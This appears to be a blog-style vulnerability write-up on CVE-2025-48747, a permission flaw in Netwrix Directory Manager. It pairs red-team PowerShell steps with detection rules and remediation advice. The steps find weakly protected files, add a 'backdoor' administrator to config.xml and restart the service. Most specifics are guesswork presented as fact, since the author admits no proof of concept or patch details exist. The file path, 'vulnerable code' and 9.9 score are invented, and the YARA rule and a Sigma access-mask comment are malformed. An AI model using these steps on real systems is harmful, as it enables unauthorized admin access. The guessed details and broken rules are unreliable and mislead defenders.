CVE-2025-48747

Executive Summary

CVE-2025-48747 identifies a critical privilege escalation vulnerability in Netwrix Directory Manager (formerly Imanami GroupID). The flaw stems from incorrect permission assignment for a critical resource, allowing an authenticated attacker to modify or access sensitive system resources beyond their intended authorization level. This can lead to full compromise of the directory management service and potentially the underlying Active Directory environment. No public proof-of-concept or patch details are currently available, but the vulnerability affects all versions up to and including v11.0.0.0, as well as versions after v11.1.25134.03.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise software product (Netwrix Directory Manager). No supply chain package security analysis is applicable.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the description (Incorrect Permission Assignment for a Critical Resource - CWE-732), the vulnerability is likely high severity. A realistic CVSS vector would be:

• Attack Vector (AV): Network (N) – The resource is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs some level of access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): High (H) – Sensitive directory data can be read.
• Integrity (I): High (H) – Directory data can be modified.
• Availability (A): High (H) – Service disruption possible.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Estimated Base Score: 9.9 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the permission assignment logic of Netwrix Directory Manager. The software manages Active Directory objects, groups, and users. A critical resource (likely a configuration file, registry key, service endpoint, or internal API) has been assigned overly permissive access controls. This allows an authenticated user with low privileges (e.g., a standard domain user) to read, modify, or delete this resource.

Attack Flow:

1. Discovery: The attacker identifies the misconfigured resource (e.g., a web.config file with world-writable permissions, or a named pipe with weak ACLs).
2. Access: Using low-privilege credentials, the attacker accesses the resource.
3. Escalation: By modifying the resource (e.g., changing connection strings, adding a new admin user, or injecting malicious code), the attacker escalates privileges to administrative level within the Directory Manager.
4. Persistence: The attacker can then create backdoor accounts or modify directory schemas.

Root Cause: The software likely uses default or insecure ACLs when installing or updating, failing to restrict access to sensitive components to only the necessary service accounts or administrators.

Vulnerable vs. Patched Code

No patch details are available. However, based on the CWE, the vulnerable code would involve permission assignment functions.

Vulnerable (C# example):

// Vulnerable: Grants Everyone full control
FileSecurity fileSecurity = new FileSecurity();
fileSecurity.AddAccessRule(new FileSystemAccessRule("Everyone", FileSystemRights.FullControl, AccessControlType.Allow));
File.SetAccessControl(@"C:\ProgramData\Netwrix\DirectoryManager\config.xml", fileSecurity);

Patched (Expected):

// Patched: Restrict to Administrators and SYSTEM
FileSecurity fileSecurity = new FileSecurity();
fileSecurity.AddAccessRule(new FileSystemAccessRule(@"BUILTIN\Administrators", FileSystemRights.FullControl, AccessControlType.Allow));
fileSecurity.AddAccessRule(new FileSystemAccessRule(@"NT AUTHORITY\SYSTEM", FileSystemRights.FullControl, AccessControlType.Allow));
File.SetAccessControl(@"C:\ProgramData\Netwrix\DirectoryManager\config.xml", fileSecurity);

Exploitation & Lab Setup

Red Team

Lab Environment:

• Windows Server 2019/2022 with Active Directory.
• Netwrix Directory Manager v11.0.0.0 installed.
• A standard domain user account (e.g., DOMAIN\jdoe).

Exploitation Steps:

1. Reconnaissance: Enumerate writable paths and services.

   Get-ChildItem -Path "C:\ProgramData\Netwrix\DirectoryManager" -Recurse | Get-Acl | Where-Object { $_.Access -contains "Everyone" }
   

2. Identify Target: Find a configuration file with weak permissions (e.g., config.xml).
3. Modify Resource: Add a new administrative user to the Directory Manager's internal database.

   $configPath = "C:\ProgramData\Netwrix\DirectoryManager\config.xml"
   [xml]$config = Get-Content $configPath
   $newUser = $config.CreateElement("User")
   $newUser.SetAttribute("Name", "backdoor")
   $newUser.SetAttribute("Role", "Administrator")
   $config.DocumentElement.AppendChild($newUser)
   $config.Save($configPath)
   

4. Trigger Reload: Restart the service or trigger a configuration reload.

   Restart-Service -Name "NetwrixDirectoryManager"
   

5. Access: Log in as the backdoor user with administrative privileges.

Blue Team

Detection Steps:

1. Monitor File Permissions: Use audit policies to log changes to critical files.

   auditpol /set /subcategory:"File System" /success:enable /failure:enable
   

2. Check for Weak ACLs: Regularly scan for files with Everyone or BUILTIN\Users write access.

   Get-ChildItem -Path "C:\ProgramData\Netwrix\*" -Recurse | Get-Acl | Where-Object { $_.AccessToString -match "Everyone.*FullControl" }
   

3. Service Account Hardening: Ensure the Directory Manager service runs under a least-privilege service account, not SYSTEM or NetworkService.
4. Configuration Integrity: Use file integrity monitoring (FIM) tools like Tripwire or Windows File Server Resource Manager to alert on changes to config.xml.

Indicators of Compromise (IOCs)

• File Paths:
  • C:\ProgramData\Netwrix\DirectoryManager\config.xml (modified unexpectedly)
  • C:\Program Files\Netwrix\DirectoryManager\* (unusual files)
• Registry Keys:
  • HKLM\SOFTWARE\Netwrix\DirectoryManager (modified permissions)
• Network Connections:
  • Unusual outbound connections from the Directory Manager server to unknown IPs (potential C2).
• User Accounts:
  • New accounts created in the Directory Manager's internal database (not AD).
• Event Logs:
  • Event ID 4663 (An attempt was made to access an object) with AccessMask indicating write/modify on critical files.
  • Event ID 4670 (Permissions on an object were changed).

Detection Engineering

YARA Rule

rule Detect_Netwrix_Weak_Permissions {
    meta:
        description = "Detects files with Everyone full control in Netwrix Directory Manager paths"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48747"
    strings:
        $s1 = "Everyone" nocase
        $s2 = "FullControl" nocase
    condition:
        (uint16(0) == 0x5A4D or uint32(0) == 0x00000000) and // PE or raw file
        for any of ($s1, $s2): ($)
}

Sigma Rule

title: Netwrix Directory Manager Weak Permission Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to modify critical Netwrix Directory Manager files by non-privileged users.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48747
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|contains: 'Netwrix\DirectoryManager'
        AccessMask|contains: '0x2'  # WRITE_DAC or WRITE_OWNER
    condition: selection
falsepositives:
    - Legitimate administrative changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48747 Netwrix Directory Manager Potential Exfiltration"; flow:to_server,established; content:"Netwrix"; nocase; content:"config"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict permissions on all Netwrix Directory Manager installation directories and registry keys to only SYSTEM and Administrators.
   • Audit all existing permissions using icacls or PowerShell.
   • If possible, isolate the Directory Manager server from untrusted network segments.

2. Vendor Patch:

   • Contact Netwrix support for an official patch. Monitor their security advisory page.
   • If no patch is available, consider upgrading to a version not affected (if one exists) or implementing strict access controls.

3. Long-term Hardening:

   • Apply the principle of least privilege to all service accounts.
   • Enable Windows Defender Application Control (WDAC) to block unauthorized binaries.
   • Regularly review and audit file system ACLs using tools like Set-Acl and Get-Acl.

4. Monitoring:

   • Deploy the provided Sigma and YARA rules in your SIEM.
   • Enable advanced audit policies for object access.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert